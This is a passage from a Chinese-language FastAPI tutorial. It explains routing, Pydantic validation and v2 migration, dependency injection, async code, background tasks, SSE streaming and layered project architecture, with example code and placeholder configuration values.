如果 Flask 是手动挡汽车,FastAPI 就是自动驾驶汽车——你只需要告诉它目的地(定义函数签名),它自动帮你处理参数校验、文档生成、序列化。你写的类型提示就是"导航指令"。

最小应用

# 安装:pip install fastapi uvicorn
from fastapi import FastAPI

app = FastAPI(title="我的 API", version="1.0.0")

@app.get("/")
def root():
    return {"message": "Hello, FastAPI!"}

@app.get("/users/{user_id}")
def get_user(user_id: int):               # 类型提示自动校验:必须是整数
    return {"user_id": user_id, "name": "张三"}

# 启动:uvicorn main:app --reload
# 访问 http://127.0.0.1:8000/docs 查看自动文档

自动文档

FastAPI 自动生成两套交互式 API 文档:

Swagger UI
/docs——交互式文档,可以直接在页面上测试 API。开发调试必备。
ReDoc
/redoc——更美观的文档,适合给前端/第三方阅读。

参数类型详解

from fastapi import FastAPI, Query, Path, Body
from pydantic import BaseModel, Field
from typing import Optional

app = FastAPI()

# 路径参数
@app.get("/items/{item_id}")
def read_item(
    item_id: int = Path(..., title="物品ID", ge=1),   # 路径参数,必须 >= 1
):
    return {"item_id": item_id}

# 查询参数
@app.get("/search/")
def search(
    q: str = Query(..., min_length=1, max_length=50),  # 必填,1-50 字符
    page: int = Query(1, ge=1),                         # 可选,默认 1
    size: int = Query(20, ge=1, le=100),                # 可选,默认 20,最大 100
):
    return {"q": q, "page": page, "size": size}

# 请求体
class ItemCreate(BaseModel):
    name: str
    description: Optional[str] = None
    price: float = Field(..., gt=0)                     # 必须 > 0
    tags: list[str] = []

@app.post("/items/", status_code=201)
def create_item(item: ItemCreate):                     # 自动解析 JSON 请求体
    return {"item": item.model_dump(), "message": "创建成功"}

响应模型

from pydantic import BaseModel

class UserOut(BaseModel):
    id: int
    name: str
    email: str

    model_config = {'from_attributes': True}  # 支持从 ORM 对象转换

@app.get("/users/{user_id}", response_model=UserOut)
def get_user(user_id: int):
    user = db.session.get(User, user_id)
    return user                          # 自动过滤掉不在 UserOut 中的字段
类型提示 = 文档 + 校验 + 序列化

FastAPI 的核心理念:你写的 Python 类型提示同时充当三个角色:① API 文档(自动生成 Swagger);② 请求校验(自动检查参数类型和范围);③ 响应序列化(自动过滤多余字段)。写一次代码,三重收益。

同步 vs 异步

FastAPI 支持同步和异步函数。如果你的函数里没有 await,用 def 就行——FastAPI 会自动放到线程池执行。如果有数据库等 I/O 操作,推荐用 async def + 异步驱动(如 asyncpg、motor)。

APIRouter:项目结构组织

# 项目结构
# myproject/
# ├── app/
# │   ├── __init__.py
# │   ├── main.py              # 应用入口
# │   ├── routers/             # 路由模块
# │   │   ├── __init__.py
# │   │   ├── users.py
# │   │   ├── articles.py
# │   │   └── auth.py
# │   ├── models/              # 数据模型
# │   ├── schemas/             # Pydantic 模型
# │   ├── services/            # 业务逻辑
# │   ├── dependencies.py      # 依赖注入
# │   └── config.py            # 配置

# app/routers/users.py
from fastapi import APIRouter, Depends, HTTPException
from app.schemas import UserCreate, UserOut
from app.dependencies import get_db

router = APIRouter(
    prefix="/users",           # URL 前缀
    tags=["users"],            # 文档分组
    responses={404: {"description": "Not found"}},
)

@router.get("/", response_model=list[UserOut])
def list_users(db=Depends(get_db)):        # 同步 SQLAlchemy 用 def,不要用 async def(会阻塞事件循环)
    return db.query(User).all()

@router.get("/{user_id}", response_model=UserOut)
def get_user(user_id: int, db=Depends(get_db)):
    user = db.session.get(User, user_id)
    if not user:
        raise HTTPException(404, "用户不存在")
    return user

# app/main.py
from fastapi import FastAPI
from app.routers import users, articles, auth

app = FastAPI()
app.include_router(users.router)
app.include_router(articles.router)
app.include_router(auth.router, prefix="/auth", tags=["auth"])

中间件体系

from fastapi import FastAPI, Request
from fastapi.middleware.cors import CORSMiddleware
from fastapi.middleware.gzip import GZipMiddleware
import time

app = FastAPI()

# CORS 中间件
app.add_middleware(
    CORSMiddleware,
    allow_origins=["https://yourdomain.com"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)

# GZip 压缩中间件
app.add_middleware(GZipMiddleware, minimum_size=1000)

# 自定义中间件:请求耗时
@app.middleware("http")
async def add_timing_header(request: Request, call_next):
    start = time.time()
    response = await call_next(request)
    elapsed = time.time() - start
    response.headers["X-Request-Time"] = f"{elapsed:.3f}s"
    return response

# 自定义中间件:请求 ID
@app.middleware("http")
async def add_request_id(request: Request, call_next):
    import uuid
    request_id = str(uuid.uuid4())
    request.state.request_id = request_id
    response = await call_next(request)
    response.headers["X-Request-ID"] = request_id
    return response

全局异常处理

from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse

app = FastAPI()

# 自定义异常类
class AppError(Exception):
    def __init__(self, code: int, message: str):
        self.code = code
        self.message = message

class NotFoundError(AppError):
    def __init__(self, resource: str = "资源"):
        super().__init__(404, f"{resource}不存在")

class AuthError(AppError):
    def __init__(self, message: str = "未授权"):
        super().__init__(401, message)

# 全局异常处理器
@app.exception_handler(AppError)
async def app_error_handler(request: Request, exc: AppError):
    return JSONResponse(
        status_code=exc.code,
        content={"code": exc.code, "message": exc.message}
    )

@app.exception_handler(Exception)
async def global_error_handler(request: Request, exc: Exception):
    # 记录错误日志
    import logging
    logging.error(f"未处理异常: {exc}", exc_info=True)
    return JSONResponse(
        status_code=500,
        content={"code": 500, "message": "服务器内部错误"}
    )

# 使用
@app.get("/items/{item_id}")
async def get_item(item_id: int):
    item = db.get(item_id)
    if not item:
        raise NotFoundError("物品")
    return item

Lifespan 生命周期

from contextlib import asynccontextmanager
from fastapi import FastAPI

@asynccontextmanager
async def lifespan(app: FastAPI):
    # 启动时执行
    print("应用启动:初始化数据库连接、预热缓存")
    await init_db()
    await warm_up_cache()

    yield  # 应用运行期间

    # 关闭时执行
    print("应用关闭:清理资源")
    await close_db_connections()

app = FastAPI(lifespan=lifespan)

# 替代已废弃的 @app.on_event("startup") 和 @app.on_event("shutdown")

21. 请求校验与 Pydantic

Pydantic 是 FastAPI 的"心脏"——所有请求校验、响应序列化都靠它。它用 Python 类型提示定义数据结构,自动校验、自动转换。

BaseModel 基础

from pydantic import BaseModel, Field, field_validator, model_validator
from typing import Optional
from datetime import datetime

class UserCreate(BaseModel):
    name: str = Field(..., min_length=2, max_length=50, description="用户名")
    age: int = Field(..., ge=0, le=150, description="年龄")
    email: str = Field(..., description="邮箱")
    phone: Optional[str] = None               # 可选字段
    tags: list[str] = []                       # 默认空列表
    created_at: datetime = Field(default_factory=datetime.now)

    @field_validator('email')
    @classmethod
    def validate_email(cls, v):
        if '@' not in v:
            raise ValueError('邮箱格式不正确')
        return v.lower()                       # 自动转小写

    @model_validator(mode='after')
    def check_age_email(self):
        if self.age < 18 and self.email.endswith('.com'):
            raise ValueError('未成年不能使用 .com 邮箱')
        return self

嵌套模型

class Address(BaseModel):
    city: str
    street: str
    zip_code: str

class UserOut(BaseModel):
    id: int
    name: str
    address: Address                           # 嵌套模型
    tags: list[str]

# FastAPI 中使用
@app.post("/users", response_model=UserOut)
def create_user(user: UserCreate):
    # user.address.city 自动校验嵌套结构
    return {"id": 1, "name": user.name, "address": {"city": "北京", "street": "长安街", "zip_code": "100000"}, "tags": user.tags}

Field 元数据

参数作用示例
default默认值Field(default=0)
...必填Field(...)
ge / le / gt / lt数值范围Field(ge=0, le=100)
min_length / max_length字符串长度Field(min_length=1)
pattern正则匹配Field(pattern=r'^\d{11}$')
description文档描述Field(description="用户年龄")
examples示例值Field(examples=["张三"])
Pydantic v2 的变化

Pydantic v2 用 Rust 重写了核心,校验速度提升了 5-50 倍。class Config 改成了 model_config,@validator 改成了 @field_validator,.dict() 改成了 .model_dump()。FastAPI 0.100+ 默认使用 Pydantic v2。

自定义类型与序列化控制

# 自定义类型
from pydantic import BaseModel, GetCoreSchemaHandler
from pydantic_core import core_schema
from typing import Annotated

# 手机号自定义类型
class PhoneNumber(str):
    @classmethod
    def __get_pydantic_core_schema__(cls, source, handler):
        return core_schema.no_info_after_validator_function(
            cls._validate,
            core_schema.str_schema(),
        )

    @classmethod
    def _validate(cls, v):
        if not v.startswith('+') or len(v) < 11:
            raise ValueError('手机号格式不正确,需要国际格式如 +8613800138000')
        return cls(v)

class UserCreate(BaseModel):
    name: str
    phone: PhoneNumber

# 序列化控制——输出模型不应包含敏感字段
class UserOut(BaseModel):
    id: int
    name: str
    email: str
    # 注意:password_hash 不应出现在输出模型中,从源头排除

    model_config = {
        'from_attributes': True,
    }

# 内部使用的模型(含密码哈希,仅限后端内部传递)
class UserInDB(UserOut):
    password_hash: str

# 从 ORM 对象转换时排除敏感字段
user_data = user.model_dump(exclude={'password_hash'})

# 别名(API 字段名和 Python 变量名不同)
class Product(BaseModel):
    name: str
    price_cents: int = Field(alias='price')      # API 用 price,内部用 price_cents

    model_config = {'populate_by_name': True}     # 允许用原始名或别名

错误信息自定义(中文)

# 自定义中文错误信息
from pydantic import BaseModel, Field, field_validator
from pydantic_core import PydanticCustomError

class UserCreate(BaseModel):
    name: str = Field(..., min_length=2, max_length=50)
    age: int = Field(..., ge=0, le=150)
    email: str

    @field_validator('name')
    @classmethod
    def name_must_be_valid(cls, v):
        if not v.strip():
            raise PydanticCustomError(
                'name_empty',
                '用户名不能为空',
            )
        if any(c in v for c in '<>{}'):
            raise PydanticCustomError(
                'name_invalid_chars',
                '用户名不能包含特殊字符',
            )
        return v.strip()

    @field_validator('age')
    @classmethod
    def age_must_be_reasonable(cls, v):
        if v < 0:
            raise PydanticCustomError('age_negative', '年龄不能为负数')
        if v > 150:
            raise PydanticCustomError('age_too_large', '年龄不能超过 150 岁')
        return v

# FastAPI 中自定义错误响应
from fastapi import Request
from fastapi.responses import JSONResponse
from fastapi.exceptions import RequestValidationError  # 需要导入

@app.exception_handler(RequestValidationError)
async def validation_exception_handler(request: Request, exc):
    errors = []
    for error in exc.errors():
        field = ' -> '.join(str(loc) for loc in error['loc'])
        errors.append({"field": field, "message": error['msg']})
    return JSONResponse(
        status_code=422,
        content={"code": 422, "message": "参数校验失败", "errors": errors}
    )

Pydantic v2 迁移要点

# v1 → v2 主要变化
# 1. Config 类 → model_config 字典
class User(BaseModel):
    name: str
    class Config:                                 # v1
        orm_mode = True
    model_config = {'from_attributes': True}      # v2 ✅

# 2. @validator → @field_validator
@validator('name')                                # v1
@field_validator('name')                          # v2 ✅ (加 @classmethod)

# 3. .dict() → .model_dump()
user.dict()                                       # v1
user.model_dump()                                 # v2 ✅

# 4. .json() → .model_dump_json()
user.json()                                       # v1
user.model_dump_json()                            # v2 ✅

# 5. parse_obj → model_validate
User.parse_obj(data)                              # v1
User.model_validate(data)                         # v2 ✅

# 6. schema() → model_json_schema()
User.schema()                                     # v1
User.model_json_schema()                          # v2 ✅
校验失败时的错误信息

Pydantic 会返回非常详细的错误信息,告诉用户哪个字段出了什么问题。前端可以直接展示这些错误。用自定义异常处理器可以返回中文错误信息。生产环境建议统一错误格式。

Pydantic 最佳实践

① 输入和输出用不同的 Schema(CreateSchema vs ResponseSchema)。② 敏感字段用 exclude 排除。③ 用 computed_field 添加计算字段。④ 用 Annotated 类型组合约束。⑤ 启动时用 Pydantic 验证配置(Settings)。⑥ v2 性能比 v1 快 5-50 倍,尽快迁移。

Pydantic Settings:配置管理

# pip install pydantic-settings
from pydantic_settings import BaseSettings
from pydantic import Field
from functools import lru_cache

class Settings(BaseSettings):
    """应用配置(自动从环境变量读取)"""
    # 应用配置
    app_name: str = "My API"
    debug: bool = False

    # 数据库配置
    database_url: str = Field(..., description="数据库连接字符串")
    db_pool_size: int = 10

    # Redis 配置
    redis_url: str = "redis://localhost:6379/0"

    # JWT 配置
    secret_key: str = Field(..., description="JWT 密钥")
    access_token_expire_minutes: int = 15

    # 第三方服务
    aws_access_key: str = ""
    aws_secret_key: str = ""

    model_config = {
        'env_file': '.env',              # 从 .env 文件读取
        'env_file_encoding': 'utf-8',
        'case_sensitive': False,         # 环境变量不区分大小写
        'extra': 'ignore',              # 忽略额外的环境变量
    }

# 使用 lru_cache 缓存配置(只读取一次)
@lru_cache()
def get_settings() -> Settings:
    return Settings()

# 在 FastAPI 中使用
from fastapi import Depends

def get_db(settings: Settings = Depends(get_settings)):
    engine = create_engine(settings.database_url)
    ...

@app.get("/config")
async def show_config(settings: Settings = Depends(get_settings)):
    return {"app_name": settings.app_name, "debug": settings.debug}

# .env 文件示例
# DATABASE_URL=postgresql://user:pass@localhost/mydb
# REDIS_URL=redis://localhost:6379/0
# SECRET_KEY=your-secret-key-here
# DEBUG=true

# 多环境配置
# .env.development
# DEBUG=true
# DATABASE_URL=sqlite:///dev.db

# .env.production
# DEBUG=false
# DATABASE_URL=postgresql://user:pass@prod-db/mydb

# 启动时指定环境文件
# uvicorn main:app --env-file .env.production

Annotated 类型组合约束

from typing import Annotated
from pydantic import Field

# FastAPI 推荐的类型组合方式
UserId = Annotated[int, Field(gt=0, description="用户ID")]
UserName = Annotated[str, Field(min_length=2, max_length=50, description="用户名")]
PageSize = Annotated[int, Field(ge=1, le=100, description="每页数量")]

@app.get("/users/{user_id}")
async def get_user(user_id: UserId):  # 类型提示已经包含校验规则
    ...

@app.get("/users/")
async def list_users(
    name: UserName = None,
    page_size: PageSize = 20,
):
    ...

# 优点:
# 1. 类型复用:同一个约束可以在多处使用
# 2. 代码简洁:函数签名更清晰
# 3. 文档更好:自动生成的 API 文档包含描述

computed_field 计算字段

from pydantic import BaseModel, computed_field
from datetime import datetime

class UserResponse(BaseModel):
    first_name: str
    last_name: str
    birth_year: int

    @computed_field
    @property
    def full_name(self) -> str:
        """计算字段:全名"""
        return f"{self.first_name} {self.last_name}"

    @computed_field
    @property
    def age(self) -> int:
        """计算字段:年龄"""
        return datetime.now().year - self.birth_year

# 使用
user = UserResponse(first_name="张", last_name="三", birth_year=1990)
print(user.model_dump())
# {'first_name': '张', 'last_name': '三', 'birth_year': 1990, 'full_name': '张三', 'age': 36}

22. 依赖注入系统

依赖注入(Dependency Injection)是 FastAPI 最强大的特性之一——它让函数声明自己"需要什么",框架自动"提供什么"。

一个类比

依赖注入就像餐厅的点菜系统。你(视图函数)不需要自己去厨房做饭(创建数据库连接),只需要在菜单上写"我要一份米饭"(声明依赖),服务员(FastAPI)自动把米饭端上来。

基础用法

from fastapi import Depends, FastAPI, Query

app = FastAPI()

# 定义依赖函数
def get_pagination(
    page: int = Query(1, ge=1),
    size: int = Query(20, ge=1, le=100),
):
    return {"page": page, "size": size, "offset": (page - 1) * size}

# 使用 Depends 注入
@app.get("/items")
def list_items(pagination: dict = Depends(get_pagination)):
    # pagination 自动是 {"page": 1, "size": 20, "offset": 0}
    return {"page": pagination["page"], "items": [...]}

数据库会话注入

from sqlalchemy.orm import Session
from fastapi import Depends

def get_db():
    db = SessionLocal()
    try:
        yield db                             # yield:请求结束后自动关闭
    finally:
        db.close()

@app.post("/users")
def create_user(user: UserCreate, db: Session = Depends(get_db)):
    db_user = User(**user.model_dump())
    db.add(db_user)
    db.commit()
    db.refresh(db_user)
    return db_user

多层嵌套依赖

# 依赖可以依赖其他依赖(链式注入)
def get_current_user(token: str = Depends(get_token)):
    user = decode_token(token)
    if not user:
        raise HTTPException(status_code=401)
    return user

def get_admin_user(user = Depends(get_current_user)):
    if user.role != 'admin':
        raise HTTPException(status_code=403)
    return user

@app.delete("/users/{user_id}")
def delete_user(user_id: int, admin = Depends(get_admin_user)):
    # 自动完成:获取 token → 解析用户 → 检查是否管理员
    ...

全局依赖

# 所有接口都需要认证
app = FastAPI(dependencies=[Depends(get_current_user)])
依赖注入的好处

① 代码复用——认证、分页、数据库连接写一次,到处用。② 易测试——测试时可以用 app.dependency_overrides 替换依赖。③ 依赖关系清晰——看函数签名就知道它需要什么。

依赖类(Class-based Dependencies)

# 用类定义依赖(适合需要参数的场景)
class PaginationParams:
    def __init__(self, page: int = 1, size: int = 20):
        self.page = max(1, page)
        self.size = min(100, max(1, size))
        self.offset = (self.page - 1) * self.size

@app.get("/api/users")
def list_users(pagination: PaginationParams = Depends()):
    users = db.query(User).offset(pagination.offset).limit(pagination.size).all()
    return {"page": pagination.page, "size": pagination.size, "items": users}

# 带验证的依赖类
class DateRangeParams:
    def __init__(
        self,
        start_date: date = Query(default=None),
        end_date: date = Query(default=None),
    ):
        if start_date and end_date and start_date > end_date:
            raise HTTPException(400, "开始日期不能晚于结束日期")
        self.start_date = start_date
        self.end_date = end_date

@app.get("/api/orders")
def list_orders(dates: DateRangeParams = Depends()):
    query = db.query(Order)
    if dates.start_date:
        query = query.filter(Order.created_at >= dates.start_date)
    if dates.end_date:
        query = query.filter(Order.created_at <= dates.end_date)
    return query.all()

Yield 依赖(资源管理)

# yield 依赖——请求前初始化,请求后清理
# FastAPI 原生支持 generator 函数作为依赖,无需 @contextmanager 装饰器

def get_db():
    db = SessionLocal()
    try:
        yield db                             # 请求期间使用
        db.commit()                          # 请求成功则提交
    except Exception:
        db.rollback()                        # 请求失败则回滚
        raise
    finally:
        db.close()                           # 无论如何都关闭连接

# 带缓存的依赖(同一请求内只执行一次)
from fastapi import Request

def get_current_user(request: Request):
    # FastAPI 自动缓存依赖结果,同一请求内多次调用只执行一次
    token = request.headers.get('Authorization', '').replace('Bearer ', '')
    return decode_token(token)

安全依赖

# 认证 + 权限的依赖链
from fastapi import Security
from fastapi.security import HTTPBearer, HTTPAuthorizationCredentials

security = HTTPBearer()

def get_current_user(
    credentials: HTTPAuthorizationCredentials = Security(security),
) -> User:
    token = credentials.credentials
    user = decode_token(token)
    if not user:
        raise HTTPException(401, "无效的 Token")
    return user

def require_role(role: str):
    """返回一个依赖函数,检查用户是否有指定角色"""
    def check_role(user: User = Depends(get_current_user)):
        if role not in user.roles:
            raise HTTPException(403, f"需要 {role} 权限")
        return user
    return check_role

# 使用
@app.get("/api/admin/users")
def admin_users(admin = Depends(require_role("admin"))):
    return db.query(User).all()

@app.get("/api/editor/articles")
def editor_articles(editor = Depends(require_role("editor"))):
    return db.query(Article).all()
依赖注入的好处

① 代码复用——认证、分页、数据库连接写一次,到处用。② 易测试——测试时可以用 app.dependency_overrides 替换依赖。③ 依赖关系清晰——看函数签名就知道它需要什么。④ 自动文档——FastAPI 根据依赖自动生成 OpenAPI 文档。

测试时覆盖依赖

FastAPI 允许在测试中替换依赖:app.dependency_overrides[get_db] = override_get_db。这样测试不会连接真实数据库。测试完成后记得清理:app.dependency_overrides.clear()。

# 用 TestClient 测试 FastAPI 应用(完整示例)
from fastapi.testclient import TestClient

# 替换数据库依赖,使用测试数据库
def override_get_db():
    db = TestingSessionLocal()
    try:
        yield db
    finally:
        db.close()

app.dependency_overrides[get_db] = override_get_db  # 替换依赖
client = TestClient(app)                              # 创建测试客户端

def test_list_users():
    response = client.get("/users/")
    assert response.status_code == 200
    assert isinstance(response.json(), list)

def test_create_user():
    response = client.post("/users/", json={"name": "张三", "email": "test@example.com"})
    assert response.status_code == 201

# 测试完成后清理
app.dependency_overrides.clear()
依赖注入设计模式

① 单一职责——每个依赖只做一件事。② 链式依赖——复杂逻辑拆分成多个小依赖。③ 可选依赖——用 Optional 类型标记可选依赖。④ 缓存依赖——同一请求内重复使用的依赖会被缓存。⑤ 工厂依赖——require_role("admin") 返回依赖函数。

23. 异步编程与后台任务

FastAPI 原生支持异步——用 async/await 处理高并发请求。但异步不是银弹,用对场景才能发挥威力。

async/await 基础

import asyncio
import httpx

# 同步方式(阻塞)
def sync_fetch():
    import requests
    r = requests.get("https://api.example.com/data")  # 阻塞等待
    return r.json()

# 异步方式(非阻塞)
async def async_fetch():
    async with httpx.AsyncClient() as client:
        r = await client.get("https://api.example.com/data")  # 不阻塞,让出控制权
        return r.json()

# 并发请求(异步的真正威力)
async def fetch_all():
    async with httpx.AsyncClient() as client:
        tasks = [
            client.get("https://api.example.com/users"),
            client.get("https://api.example.com/items"),
            client.get("https://api.example.com/orders"),
        ]
        responses = await asyncio.gather(*tasks)     # 3 个请求并发执行
        return [r.json() for r in responses]
一个类比

同步像排队买奶茶——你站在柜台前等,什么也干不了。
异步像取号等餐——你拿了号可以先去逛别的,叫到你了再去取。在等待的时间里,你可以做其他事。async/await 就是"取号"和"取餐"的指令。

FastAPI 中的异步

# 异步接口
@app.get("/async-data")
async def get_data():
    data = await fetch_from_db()              # 异步数据库查询
    return data

# 同步接口(FastAPI 自动放到线程池)
@app.get("/sync-data")
def get_data_sync():
    data = fetch_from_db_sync()               # 同步数据库查询
    return data

后台任务

from fastapi import BackgroundTasks

def send_email(email: str, subject: str):
    """发送邮件(耗时操作)"""
    import time
    time.sleep(5)                             # 模拟耗时
    print(f"邮件已发送到 {email}")

def write_log(user_id: int, action: str):
    """记录操作日志"""
    with open("audit.log", "a") as f:
        f.write(f"{datetime.now()} user={user_id} action={action}\n")

@app.post("/register")
def register(user: UserCreate, background_tasks: BackgroundTasks):
    # 1. 创建用户(同步,立即返回)
    db_user = create_user(user)

    # 2. 发送欢迎邮件(后台执行,不阻塞响应)
    background_tasks.add_task(send_email, user.email, "欢迎注册")

    # 3. 记录日志(后台执行)
    background_tasks.add_task(write_log, db_user.id, "register")

    return {"message": "注册成功"}

asyncio.gather 错误处理

# gather 的错误处理
import asyncio

async def fetch_data(urls: list[str]):
    async with httpx.AsyncClient() as client:
        tasks = [client.get(url) for url in urls]

        # 方式1:一个失败全部失败
        # results = await asyncio.gather(*tasks)

        # 方式2:一个失败不影响其他(推荐)
        results = await asyncio.gather(*tasks, return_exceptions=True)
        for i, result in enumerate(results):
            if isinstance(result, Exception):
                print(f"请求 {urls[i]} 失败: {result}")
            else:
                print(f"请求 {urls[i]} 成功: {result.status_code}")

        return results

# 超时控制
async def fetch_with_timeout(url: str, timeout: float = 5.0):
    try:
        async with httpx.AsyncClient() as client:
            response = await client.get(url, timeout=timeout)
            return response.json()
    except httpx.TimeoutException:
        return {"error": "请求超时"}
    except httpx.RequestError as e:
        return {"error": f"请求失败: {e}"}

异步数据库操作

# SQLAlchemy 异步模式
from sqlalchemy.ext.asyncio import create_async_engine, AsyncSession
from sqlalchemy.orm import sessionmaker

# 异步引擎(需要 asyncpg 或 aiomysql 驱动)
engine = create_async_engine('postgresql+asyncpg://user:pass@localhost/mydb')
async_session = sessionmaker(engine, class_=AsyncSession, expire_on_commit=False)

async def get_async_db():
    async with async_session() as session:
        yield session

# 异步查询
@app.get("/api/users")
async def list_users(db: AsyncSession = Depends(get_async_db)):
    result = await db.execute(select(User).limit(10))
    users = result.scalars().all()
    return users

# 异步写入
@app.post("/api/users")
async def create_user(data: UserCreate, db: AsyncSession = Depends(get_async_db)):
    user = User(**data.model_dump())
    db.add(user)
    await db.commit()
    await db.refresh(user)
    return user

asyncio.Semaphore 并发控制

# 控制并发数量(防止同时发太多请求)
import asyncio

semaphore = asyncio.Semaphore(10)                # 最多 10 个并发

async def fetch_limited(url: str):
    async with semaphore:                        # 获取信号量
        async with httpx.AsyncClient() as client:
            return await client.get(url)

# 批量请求但限制并发
urls = [f"https://api.example.com/users/{i}" for i in range(100)]
results = await asyncio.gather(*[fetch_limited(url) for url in urls])
什么时候用异步?

① 调用外部 API(httpx、aiohttp)。② 读写文件(aiofiles)。③ WebSocket 连接。④ 需要高并发的场景。⑤ 多个独立请求需要并发执行(asyncio.gather)。如果只是简单的数据库操作(SQLAlchemy 同步模式),用 def 就行,不需要 async def。

BackgroundTasks 的限制

BackgroundTasks 在同一个进程内执行——如果服务器重启,未完成的任务会丢失。对于重要的后台任务(如支付回调、邮件发送),用 Celery + 消息队列更可靠。

SSE 流式响应(Server-Sent Events)

SSE 是服务器向客户端推送数据的技术——适合 AI 应用(ChatGPT 流式输出)、实时通知、进度推送。

from fastapi import FastAPI
from fastapi.responses import StreamingResponse
import asyncio
import json

app = FastAPI()

# 基础 SSE 流式响应
@app.get("/stream")
async def stream():
    async def event_generator():
        for i in range(10):
            # SSE 格式:data: 内容\n\n
            yield f"data: {json.dumps({'count': i})}\n\n"
            await asyncio.sleep(1)  # 模拟耗时操作

    return StreamingResponse(
        event_generator(),
        media_type="text/event-stream",
        headers={
            "Cache-Control": "no-cache",
            "Connection": "keep-alive",
            "X-Accel-Buffering": "no",  # Nginx 禁用缓冲
        }
    )

# AI 应用流式输出(模拟 ChatGPT)
@app.post("/chat")
async def chat(message: str):
    async def generate_response():
        # 模拟 LLM 逐字输出
        response = "你好!我是 AI 助手,很高兴为你服务。"
        for char in response:
            yield f"data: {json.dumps({'content': char})}\n\n"
            await asyncio.sleep(0.05)  # 模拟生成延迟
        yield "data: [DONE]\n\n"  # 结束标记

    return StreamingResponse(
        generate_response(),
        media_type="text/event-stream"
    )

# 带错误处理的 SSE
@app.get("/stream-safe")
async def stream_safe():
    async def event_generator():
        try:
            for i in range(100):
                data = await fetch_some_data(i)
                yield f"data: {json.dumps(data)}\n\n"
                await asyncio.sleep(1)
        except asyncio.CancelledError:
            # 客户端断开连接
            print("客户端断开连接")
        except Exception as e:
            # 发送错误事件
            yield f"event: error\ndata: {json.dumps({'error': str(e)})}\n\n"

    return StreamingResponse(event_generator(), media_type="text/event-stream")

# 前端 JavaScript 接收(GET 请求用 EventSource)
# const eventSource = new EventSource('/stream');
# eventSource.onmessage = (event) => {
#     const data = JSON.parse(event.data);
#     console.log(data);
# };
# eventSource.onerror = (error) => {
#     console.error('SSE error:', error);
#     eventSource.close();
# };

# 前端 JavaScript 接收(POST 请求用 fetch + ReadableStream,如 AI 聊天场景)
# async function streamChat(prompt) {
#     const response = await fetch('/chat', {
#         method: 'POST',
#         headers: {'Content-Type': 'application/json'},
#         body: JSON.stringify({prompt})
#     });
#     const reader = response.body.getReader();
#     const decoder = new TextDecoder();
#     while (true) {
#         const {done, value} = await reader.read();
#         if (done) break;
#         const text = decoder.decode(value);
#         console.log(text);
#     }
# }
BackgroundTasks vs Celery 选型

① BackgroundTasks:轻量、进程内、任务丢失风险。适合日志记录、发送通知等非关键任务。② Celery:分布式、持久化、重试机制。适合支付回调、邮件发送、数据同步等关键任务。③ 选择依据:任务是否允许丢失?是否需要重试?是否需要分布式执行?

异步编程最佳实践

① 不要在异步函数中调用同步阻塞操作(如 time.sleep)。② 用 asyncio.gather 并发执行多个异步任务。③ 用 Semaphore 控制并发数量。④ 异步操作要处理超时和异常。⑤ 数据库用异步驱动(asyncpg/aiomysql)。⑥ 不要混用同步和异步数据库操作。⑦ SSE 流式响应用 StreamingResponse,设置正确的响应头。

24. FastAPI 项目架构 — 分层设计、配置管理、日志集成

一个真实的 FastAPI 项目不应该把所有代码写在一个文件里。合理的分层架构让代码可维护、可测试、可协作。

一个类比

分层架构就像餐厅的分工——前台(Router)负责接待客人、后厨(Service)负责做菜、仓库(Repository)负责存取食材、采购(Config)负责进货。每个环节各司其职,互不干扰。

推荐项目结构

my-fastapi-project/
├── app/
│   ├── __init__.py
│   ├── main.py                 # 应用入口:创建 app、注册路由、中间件
│   ├── config.py               # 配置管理:环境变量、Pydantic Settings
│   ├── database.py             # 数据库连接:引擎、Session、依赖
│   ├── dependencies.py         # 公共依赖:认证、分页、权限
│   ├── exceptions.py           # 自定义异常 + 全局异常处理器
│   ├── routers/                # 路由层:只负责接收请求、返回响应
│   │   ├── __init__.py
│   │   ├── users.py
│   │   ├── articles.py
│   │   └── auth.py
│   ├── schemas/                # 数据模型:Pydantic Schema(请求/响应)
│   │   ├── __init__.py
│   │   ├── user.py
│   │   └── article.py
│   ├── models/                 # ORM 模型:SQLAlchemy Model(数据库表)
│   │   ├── __init__.py
│   │   ├── user.py
│   │   └── article.py
│   ├── services/               # 业务逻辑层:核心业务处理
│   │   ├── __init__.py
│   │   ├── user_service.py
│   │   └── article_service.py
│   └── utils/                  # 工具函数:通用工具
│       ├── __init__.py
│       ├── security.py         # 密码哈希、JWT 编解码
│       └── helpers.py
├── alembic/                    # 数据库迁移
├── tests/                      # 测试
├── alembic.ini
├── pyproject.toml
├── Dockerfile
├── docker-compose.yml
└── .env                        # 环境变量(不要提交到 Git)

分层职责

层职责依赖方向示例
Router(路由层)接收 HTTP 请求、参数校验、返回响应→ Service@router.get("/users")
Service(服务层)核心业务逻辑、事务管理→ Repository / Modelcreate_user()、transfer_money()
Repository(数据层)数据库 CRUD 操作封装→ Modelget_user_by_id()、save()
Schema(模式层)请求/响应数据结构定义无UserCreate、UserOut
Model(模型层)数据库表结构定义无class User(Base)

配置管理:Pydantic Settings

# app/config.py
from pydantic_settings import BaseSettings
from functools import lru_cache

class Settings(BaseSettings):
    # 应用配置
    APP_NAME: str = "My API"
    DEBUG: bool = False
    VERSION: str = "1.0.0"

    # 数据库配置
    DATABASE_URL: str = "postgresql+asyncpg://user:pass@localhost/mydb"

    # Redis 配置
    REDIS_URL: str = "redis://localhost:6379/0"

    # JWT 配置
    SECRET_KEY: str = "your-secret-key-change-in-production"
    ALGORITHM: str = "HS256"
    ACCESS_TOKEN_EXPIRE_MINUTES: int = 30

    # CORS 配置
    ALLOWED_ORIGINS: list[str] = ["http://localhost:3000"]

    model_config = {
        "env_file": ".env",           # 从 .env 文件读取
        "env_file_encoding": "utf-8",
        "case_sensitive": True,
    }

@lru_cache()                          # 缓存配置,避免重复读取
def get_settings() -> Settings:
    return Settings()

# 使用示例
settings = get_settings()
print(settings.DATABASE_URL)          # 自动从环境变量或 .env 读取
# .env 文件(不要提交到 Git!加入 .gitignore)
DATABASE_URL=postgresql+asyncpg://user:password@localhost:5432/mydb
SECRET_KEY=my-super-secret-key-2026
DEBUG=true
REDIS_URL=redis://localhost:6379/0

应用入口:main.py

# app/main.py
from contextlib import asynccontextmanager
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
from app.config import get_settings
from app.database import engine
from app.routers import users, articles, auth
from app.exceptions import register_exception_handlers
import logging

settings = get_settings()

# 配置日志
logging.basicConfig(
    level=logging.DEBUG if settings.DEBUG else logging.INFO,
    format="%(asctime)s - %(name)s - %(levelname)s - %(message)s",
)
